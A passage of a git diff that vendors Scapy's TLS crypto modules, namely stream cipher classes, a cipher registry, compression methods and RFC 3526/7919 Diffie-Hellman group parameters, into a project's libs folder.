+_tls_block_cipher_algs.update(_sslv2_block_cipher_algs) diff --git a/libs/scapy/layers/tls/crypto/cipher_stream.py b/libs/scapy/layers/tls/crypto/cipher_stream.py new file mode 100755 index 0000000..3cab63d --- /dev/null +++ b/libs/scapy/layers/tls/crypto/cipher_stream.py @@ -0,0 +1,133 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +Stream ciphers. +""" + +from __future__ import absolute_import +from scapy.config import conf +from scapy.layers.tls.crypto.common import CipherError +import scapy.modules.six as six + +if conf.crypto_valid: + from cryptography.hazmat.primitives.ciphers import Cipher, algorithms + from cryptography.hazmat.backends import default_backend + + +_tls_stream_cipher_algs = {} + + +class _StreamCipherMetaclass(type): + """ + Cipher classes are automatically registered through this metaclass. + Furthermore, their name attribute is extracted from their class name. + """ + def __new__(cls, ciph_name, bases, dct): + if ciph_name != "_StreamCipher": + dct["name"] = ciph_name[7:] # remove leading "Cipher_" + the_class = super(_StreamCipherMetaclass, cls).__new__(cls, ciph_name, + bases, dct) + if ciph_name != "_StreamCipher": + _tls_stream_cipher_algs[ciph_name[7:]] = the_class + return the_class + + +class _StreamCipher(six.with_metaclass(_StreamCipherMetaclass, object)): + type = "stream" + + def __init__(self, key=None): + """ + Note that we have to keep the encryption/decryption state in unique + encryptor and decryptor objects. This differs from _BlockCipher. + + In order to do connection state snapshots, we need to be able to + recreate past cipher contexts. This is why we feed _enc_updated_with + and _dec_updated_with every time encrypt() or decrypt() is called. + """ + self.ready = {"key": True} + if key is None: + self.ready["key"] = False + if hasattr(self, "expanded_key_len"): + tmp_len = self.expanded_key_len + else: + tmp_len = self.key_len + key = b"\0" * tmp_len + + # we use super() in order to avoid any deadlock with __setattr__ + super(_StreamCipher, self).__setattr__("key", key) + + self._cipher = Cipher(self.pc_cls(key), + mode=None, + backend=default_backend()) + self.encryptor = self._cipher.encryptor() + self.decryptor = self._cipher.decryptor() + self._enc_updated_with = b"" + self._dec_updated_with = b"" + + def __setattr__(self, name, val): + """ + We have to keep the encryptor/decryptor for a long time, + however they have to be updated every time the key is changed. + """ + if name == "key": + if self._cipher is not None: + self._cipher.algorithm.key = val + self.encryptor = self._cipher.encryptor() + self.decryptor = self._cipher.decryptor() + self.ready["key"] = True + super(_StreamCipher, self).__setattr__(name, val) + + def encrypt(self, data): + if False in six.itervalues(self.ready): + raise CipherError(data) + self._enc_updated_with += data + return self.encryptor.update(data) + + def decrypt(self, data): + if False in six.itervalues(self.ready): + raise CipherError(data) + self._dec_updated_with += data + return self.decryptor.update(data) + + def snapshot(self): + c = self.__class__(self.key) + c.ready = self.ready.copy() + c.encryptor.update(self._enc_updated_with) + c.decryptor.update(self._dec_updated_with) + c._enc_updated_with = self._enc_updated_with + c._dec_updated_with = self._dec_updated_with + return c + + +if conf.crypto_valid: + class Cipher_RC4_128(_StreamCipher): + pc_cls = algorithms.ARC4 + key_len = 16 + + class Cipher_RC4_40(Cipher_RC4_128): + expanded_key_len = 16 + key_len = 5 + + +class Cipher_NULL(_StreamCipher): + key_len = 0 + + def __init__(self, key=None): + self.ready = {"key": True} + self._cipher = None + # we use super() in order to avoid any deadlock with __setattr__ + super(Cipher_NULL, self).__setattr__("key", key) + + def snapshot(self): + c = self.__class__(self.key) + c.ready = self.ready.copy() + return c + + def encrypt(self, data): + return data + + def decrypt(self, data): + return data diff --git a/libs/scapy/layers/tls/crypto/ciphers.py b/libs/scapy/layers/tls/crypto/ciphers.py new file mode 100755 index 0000000..b9d1fdc --- /dev/null +++ b/libs/scapy/layers/tls/crypto/ciphers.py @@ -0,0 +1,18 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016 Maxence Tury +# This program is published under a GPLv2 license + +""" +TLS ciphers. +""" + +# in order to avoid circular dependencies. +from scapy.layers.tls.crypto.cipher_aead import _tls_aead_cipher_algs +from scapy.layers.tls.crypto.cipher_block import _tls_block_cipher_algs +from scapy.layers.tls.crypto.cipher_stream import _tls_stream_cipher_algs + +_tls_cipher_algs = {} +_tls_cipher_algs.update(_tls_block_cipher_algs) +_tls_cipher_algs.update(_tls_stream_cipher_algs) +_tls_cipher_algs.update(_tls_aead_cipher_algs) diff --git a/libs/scapy/layers/tls/crypto/common.py b/libs/scapy/layers/tls/crypto/common.py new file mode 100755 index 0000000..c0980c4 --- /dev/null +++ b/libs/scapy/layers/tls/crypto/common.py @@ -0,0 +1,14 @@ +# This file is part of Scapy +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +TLS ciphers. +""" + + +class CipherError(Exception): + """ + Raised when .decrypt() or .auth_decrypt() fails. + """ + pass diff --git a/libs/scapy/layers/tls/crypto/compression.py b/libs/scapy/layers/tls/crypto/compression.py new file mode 100755 index 0000000..d0df28c --- /dev/null +++ b/libs/scapy/layers/tls/crypto/compression.py @@ -0,0 +1,88 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016 Maxence Tury +# This program is published under a GPLv2 license + +""" +TLS compression. +""" + +from __future__ import absolute_import +import zlib + +from scapy.error import warning +import scapy.modules.six as six + + +_tls_compression_algs = {} +_tls_compression_algs_cls = {} + + +class _GenericCompMetaclass(type): + """ + Compression classes are automatically registered through this metaclass. + """ + def __new__(cls, name, bases, dct): + the_class = super(_GenericCompMetaclass, cls).__new__(cls, name, + bases, dct) + comp_name = dct.get("name") + val = dct.get("val") + if comp_name: + _tls_compression_algs[val] = comp_name + _tls_compression_algs_cls[val] = the_class + return the_class + + +class _GenericComp(six.with_metaclass(_GenericCompMetaclass, object)): + pass + + +class Comp_NULL(_GenericComp): + """ + The default and advised compression method for TLS: doing nothing. + """ + name = "null" + val = 0 + + def compress(self, s): + return s + + def decompress(self, s): + return s + + +class Comp_Deflate(_GenericComp): + """ + DEFLATE algorithm, specified for TLS by RFC 3749. + """ + name = "deflate" + val = 1 + + def compress(self, s): + tmp = self.compress_state.compress(s) + tmp += self.compress_state.flush(zlib.Z_FULL_FLUSH) + return tmp + + def decompress(self, s): + return self.decompress_state.decompress(s) + + def __init__(self): + self.compress_state = zlib.compressobj() + self.decompress_state = zlib.decompressobj() + + +class Comp_LZS(_GenericComp): + """ + Lempel-Zic-Stac (LZS) algorithm, specified for TLS by RFC 3943. + XXX No support for now. + """ + name = "LZS" + val = 64 + + def compress(self, s): + warning("LZS Compression algorithm is not implemented yet") + return s + + def decompress(self, s): + warning("LZS Compression algorithm is not implemented yet") + return s diff --git a/libs/scapy/layers/tls/crypto/groups.py b/libs/scapy/layers/tls/crypto/groups.py new file mode 100755 index 0000000..038cfea --- /dev/null +++ b/libs/scapy/layers/tls/crypto/groups.py @@ -0,0 +1,696 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +This is a register for DH groups from RFC 3526 and RFC 4306. +At this time the groups from RFC 7919 have not been registered by openssl, +thus they cannot be imported from the cryptography library. + +We also provide TLS identifiers for these DH groups and also the ECDH groups. +(Note that the equivalent of _ffdh_groups for ECDH is ec._CURVE_TYPES.) +""" + +from __future__ import absolute_import + +from scapy.config import conf +from scapy.utils import long_converter +import scapy.modules.six as six +if conf.crypto_valid: + from cryptography.hazmat.backends import default_backend + +# We have to start by a dirty hack in order to allow long generators, +# which some versions of openssl love to use... + +if conf.crypto_valid: + from cryptography.hazmat.primitives.asymmetric.dh import DHParameterNumbers + + try: + # We test with dummy values whether the size limitation has been removed. # noqa: E501 + pn_test = DHParameterNumbers(2, 7) + except ValueError: + # We get rid of the limitation through the cryptography v1.9 __init__. + + def DHParameterNumbers__init__hack(self, p, g, q=None): + if ( + not isinstance(p, six.integer_types) or + not isinstance(g, six.integer_types) + ): + raise TypeError("p and g must be integers") + if q is not None and not isinstance(q, six.integer_types): + raise TypeError("q must be integer or None") + + self._p = p + self._g = g + self._q = q + + DHParameterNumbers.__init__ = DHParameterNumbers__init__hack + + # End of hack. + + +_ffdh_groups = {} + + +class _FFDHParamsMetaclass(type): + def __new__(cls, ffdh_name, bases, dct): + the_class = super(_FFDHParamsMetaclass, cls).__new__(cls, ffdh_name, + bases, dct) + if conf.crypto_valid and ffdh_name != "_FFDHParams": + pn = DHParameterNumbers(the_class.m, the_class.g) + params = pn.parameters(default_backend()) + _ffdh_groups[ffdh_name] = [params, the_class.mLen] + return the_class + + +class _FFDHParams(six.with_metaclass(_FFDHParamsMetaclass)): + pass + + +class modp768(_FFDHParams): + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 + 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B + 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 + A63A3620 FFFFFFFF FFFFFFFF""") + mLen = 768 + + +class modp1024(_FFDHParams): # From RFC 4306 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 + 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B + 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 + A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 + 49286651 ECE65381 FFFFFFFF FFFFFFFF""") + mLen = 1024 + + +class modp1536(_FFDHParams): # From RFC 3526 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 + 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD + EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 + E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED + EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D + C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F + 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D + 670C354E 4ABC9804 F1746C08 CA237327 FFFFFFFF FFFFFFFF""") + mLen = 1536 + + +class modp2048(_FFDHParams): # From RFC 3526 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 + 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD + EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 + E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED + EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D + C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F + 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D + 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B + E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 + DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 + 15728E5A 8AACAA68 FFFFFFFF FFFFFFFF""") + mLen = 2048 + + +class modp3072(_FFDHParams): # From RFC 3526 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 + 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD + EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 + E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED + EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D + C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F + 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D + 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B + E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 + DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 + 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 + ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 + ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B + F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C + BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 + 43DB5BFC E0FD108E 4B82D120 A93AD2CA FFFFFFFF FFFFFFFF""") + mLen = 3072 + + +class modp4096(_FFDHParams): # From RFC 3526 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 + 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD + EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 + E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED + EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D + C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F + 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D + 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B + E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 + DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 + 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 + ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 + ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B + F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C + BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 + 43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 + 88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA + 2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6 + 287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED + 1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9 + 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34063199 + FFFFFFFF FFFFFFFF""") + mLen = 4096 + + +class modp6144(_FFDHParams): # From RFC 3526 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 + 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B + 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 + A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 + 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 + FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D + 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C + 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 + 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D + 04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D + B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 + 1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C + BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC + E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 88719A10 BDBA5B26 + 99C32718 6AF4E23C 1A946834 B6150BDA 2583E9CA 2AD44CE8 DBBBC2DB + 04DE8EF9 2E8EFC14 1FBECAA6 287C5947 4E6BC05D 99B2964F A090C3A2 + 233BA186 515BE7ED 1F612970 CEE2D7AF B81BDD76 2170481C D0069127 + D5B05AA9 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34028492 + 36C3FAB4 D27C7026 C1D4DCB2 602646DE C9751E76 3DBA37BD F8FF9406 + AD9E530E E5DB382F 413001AE B06A53ED 9027D831 179727B0 865A8918 + DA3EDBEB CF9B14ED 44CE6CBA CED4BB1B DB7F1447 E6CC254B 33205151 + 2BD7AF42 6FB8F401 378CD2BF 5983CA01 C64B92EC F032EA15 D1721D03 + F482D7CE 6E74FEF6 D55E702F 46980C82 B5A84031 900B1C9E 59E7C97F + BEC7E8F3 23A97A7E 36CC88BE 0F1D45B7 FF585AC5 4BD407B2 2B4154AA + CC8F6D7E BF48E1D8 14CC5ED2 0F8037E0 A79715EE F29BE328 06A1D58B + B7C5DA76 F550AA3D 8A1FBFF0 EB19CCB1 A313D55C DA56C9EC 2EF29632 + 387FE8D7 6E3C0468 043E8F66 3F4860EE 12BF2D5B 0B7474D6 E694F91E + 6DCC4024 FFFFFFFF FFFFFFFF""") + mLen = 6144 + + +class modp8192(_FFDHParams): # From RFC 3526 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 + 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD + EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 + E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED + EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D + C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F + 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D + 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B + E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 + DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 + 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 + ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 + ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B + F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C + BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 + 43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 + 88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA + 2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6 + 287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED + 1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9 + 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34028492 + 36C3FAB4 D27C7026 C1D4DCB2 602646DE C9751E76 3DBA37BD + F8FF9406 AD9E530E E5DB382F 413001AE B06A53ED 9027D831 + 179727B0 865A8918 DA3EDBEB CF9B14ED 44CE6CBA CED4BB1B + DB7F1447 E6CC254B 33205151 2BD7AF42 6FB8F401 378CD2BF + 5983CA01 C64B92EC F032EA15 D1721D03 F482D7CE 6E74FEF6 + D55E702F 46980C82 B5A84031 900B1C9E 59E7C97F BEC7E8F3 + 23A97A7E 36CC88BE 0F1D45B7 FF585AC5 4BD407B2 2B4154AA + CC8F6D7E BF48E1D8 14CC5ED2 0F8037E0 A79715EE F29BE328 + 06A1D58B B7C5DA76 F550AA3D 8A1FBFF0 EB19CCB1 A313D55C + DA56C9EC 2EF29632 387FE8D7 6E3C0468 043E8F66 3F4860EE + 12BF2D5B 0B7474D6 E694F91E 6DBE1159 74A3926F 12FEE5E4 + 38777CB6 A932DF8C D8BEC4D0 73B931BA 3BC832B6 8D9DD300 + 741FA7BF 8AFC47ED 2576F693 6BA42466 3AAB639C 5AE4F568 + 3423B474 2BF1C978 238F16CB E39D652D E3FDB8BE FC848AD9 + 22222E04 A4037C07 13EB57A8 1A23F0C7 3473FC64 6CEA306B + 4BCBC886 2F8385DD FA9D4B7F A2C087E8 79683303 ED5BDD3A + 062B3CF5 B3A278A6 6D2A13F8 3F44F82D DF310EE0 74AB6A36 + 4597E899 A0255DC1 64F31CC5 0846851D F9AB4819 5DED7EA1 + B1D510BD 7EE74D73 FAF36BC3 1ECFA268 359046F4 EB879F92 + 4009438B 481C6CD7 889A002E D5EE382B C9190DA6 FC026E47 + 9558E447 5677E9AA 9E3050E2 765694DF C81F56E8 80B96E71 + 60C980DD 98EDD3DF FFFFFFFF FFFFFFFF""") + mLen = 8192 + + +class ffdhe2048(_FFDHParams): # From RFC 7919 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 + D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 + 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 + 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 + 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 + 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB + B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 + 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 + 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 + 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA + 886B4238 61285C97 FFFFFFFF FFFFFFFF + """) + mLen = 2048 + + +class ffdhe3072(_FFDHParams): # From RFC 7919 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 + D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 + 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 + 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 + 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 + 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB + B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 + 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 + 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 + 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA + 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 + 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C + AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 + 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D + ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF + 3C1B20EE 3FD59D7C 25E41D2B 66C62E37 FFFFFFFF FFFFFFFF + """) + mLen = 3072 + + +class ffdhe4096(_FFDHParams): # From RFC 7919 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 + D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 + 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 + 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 + 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 + 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB + B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 + 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 + 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 + 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA + 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 + 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C + AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 + 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D + ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF + 3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB + 7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004 + 87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832 + A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A + 1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF + 8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E655F6A + FFFFFFFF FFFFFFFF + """) + mLen = 4096 + + +class ffdhe6144(_FFDHParams): # From RFC 7919 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 + D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 + 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 + 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 + 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 + 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB + B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 + 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 + 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 + 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA + 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 + 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C + AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 + 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D + ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF + 3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB + 7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004 + 87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832 + A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A + 1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF + 8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E0DD902 + 0BFD64B6 45036C7A 4E677D2C 38532A3A 23BA4442 CAF53EA6 + 3BB45432 9B7624C8 917BDD64 B1C0FD4C B38E8C33 4C701C3A + CDAD0657 FCCFEC71 9B1F5C3E 4E46041F 388147FB 4CFDB477 + A52471F7 A9A96910 B855322E DB6340D8 A00EF092 350511E3 + 0ABEC1FF F9E3A26E 7FB29F8C 183023C3 587E38DA 0077D9B4 + 763E4E4B 94B2BBC1 94C6651E 77CAF992 EEAAC023 2A281BF6 + B3A739C1 22611682 0AE8DB58 47A67CBE F9C9091B 462D538C + D72B0374 6AE77F5E 62292C31 1562A846 505DC82D B854338A + E49F5235 C95B9117 8CCF2DD5 CACEF403 EC9D1810 C6272B04 + 5B3B71F9 DC6B80D6 3FDD4A8E 9ADB1E69 62A69526 D43161C1 + A41D570D 7938DAD4 A40E329C D0E40E65 FFFFFFFF FFFFFFFF + """) + mLen = 6144 + + +class ffdhe8192(_FFDHParams): # From RFC 7919 + g = 0x02 + m = long_converter(""" + FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 + D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 + 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 + 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 + 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 + 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB + B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 + 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 + 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 + 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA + 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 + 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C + AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 + 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D + ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF + 3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB + 7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004 + 87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832 + A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A + 1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF + 8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E0DD902 